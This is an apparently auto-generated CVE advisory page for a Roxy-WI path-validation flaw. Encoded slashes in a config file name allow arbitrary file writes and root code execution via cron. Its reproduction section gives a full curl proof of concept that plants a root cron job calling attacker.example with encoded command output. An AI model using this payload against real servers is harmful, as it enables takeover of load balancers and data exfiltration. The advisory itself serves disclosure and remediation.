CVE-2026-45556
Description
Roxy-WI versions prior to 8.2.6.4 allow arbitrary file writes and RCE by crafting a config_file_name to bypass validation and write to sensitive paths.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Roxy-WI versions prior to 8.2.6.4 allow arbitrary file writes and RCE by crafting a config_file_name to bypass validation and write to sensitive paths.
Vulnerability
Roxy-WI versions 8.2.6.4 and prior are vulnerable to arbitrary file writes. The POST /waf//<server_ip>/rule/<rule_id>/save endpoint accepts a config_file_name form field which is used as a destination path without sufficient validation. The validation checks for specific service substrings and .conf or .cfg extensions, but an encoded slash (92) allows an attacker to bypass these checks and specify an absolute path on the load balancer's filesystem [1].
Exploitation
An attacker needs authenticated access to Roxy-WI. They can craft a config_file_name using encoded slashes (e.g., 92etc92cron.d92nginx_cfg_evil which resolves to /etc/cron.d/nginx_cfg_evil) and provide malicious content in the config form field. This allows the attacker to write arbitrary content to any file on the system that satisfies the validation constraints, including critical system files [1].
Impact
By writing a malicious cron job to /etc/cron.d/, an attacker can achieve arbitrary code execution as root on the load balancer. This RCE can then be leveraged to gain control over every load balancer managed by the user's group, leading to a full compromise of the managed infrastructure [1].
Mitigation
At the time of publication, there are no publicly available patches for this vulnerability. Users are advised to monitor the project's security advisories for updates. Roxy-WI versions 8.2.6.4 and prior are affected [1].
AI Insight generated on Jun 10, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
1Patches
0No patches discovered yet.
Vulnerability mechanics
Root cause
"The application improperly validates a user-supplied file path, allowing arbitrary file writes."
Attack vector
An authenticated attacker with group admin privileges can send a POST request to `/waf/<service>/<server_ip>/rule/<rule_id>/save`. This request includes a `config_file_name` form field containing an encoded path and a `config` field with the payload. The `config_file_name` is decoded and written to the specified path, allowing an attacker to drop arbitrary files on the load balancer. For example, crafting `config_file_name` as `92etc92cron.d92nginx_cfg_evil` allows writing to `/etc/cron.d/nginx_cfg_evil` [ref_id=1].
Affected code
The vulnerability lies within the `waf_save_config` function in `app/routes/waf/routes.py` and the subsequent processing in `config_mod.master_slave_upload_and_restart` within `app/modules/config/config.py`. Specifically, the `config_file_name` form field is passed directly to `master_slave_upload_and_restart` without sufficient validation, and the `_replace_config_path_to_correct` and `check_is_conf` functions in `app/modules/common/common.py` provide inadequate path sanitization [ref_id=1].
What the fix does
The advisory does not specify any patches. However, it recommends deleting the `_replace_config_path_to_correct` helper function, which performs the dangerous '92' to '/' substitution. It also suggests replacing the substring-based `check_is_conf` validation with real path containment checks and constraining `config_file_name` to a safe, per-service directory with a deterministic naming pattern [ref_id=1].
Preconditions
- authThe attacker must be authenticated with group admin privileges (level 2).
- configThe Roxy-WI instance must be managing at least one load balancer.
Reproduction
The advisory provides the following end-to-end HTTP Proof of Concept: ```bash curl -sb cookies.jar -X POST \ 'https://victim.example/waf/haproxy/<lb_ip>/rule/1/save' \ -H 'X-CSRF-TOKEN: <csrf>' \ --data-urlencode 'save=save' \ --data-urlencode 'config_file_name=92etc92cron.d92nginx_cfg_evil' \ --data-urlencode 'config=* * * * * root /bin/bash -c "curl -k https://attacker.example/$(id|base64 -w0)" ' ``` This request, when made to a vulnerable instance, will cause the load balancer to execute the embedded cron job as root in the next minute [ref_id=1].
Generated on Jun 10, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
1News mentions
0No linked articles in our index yet.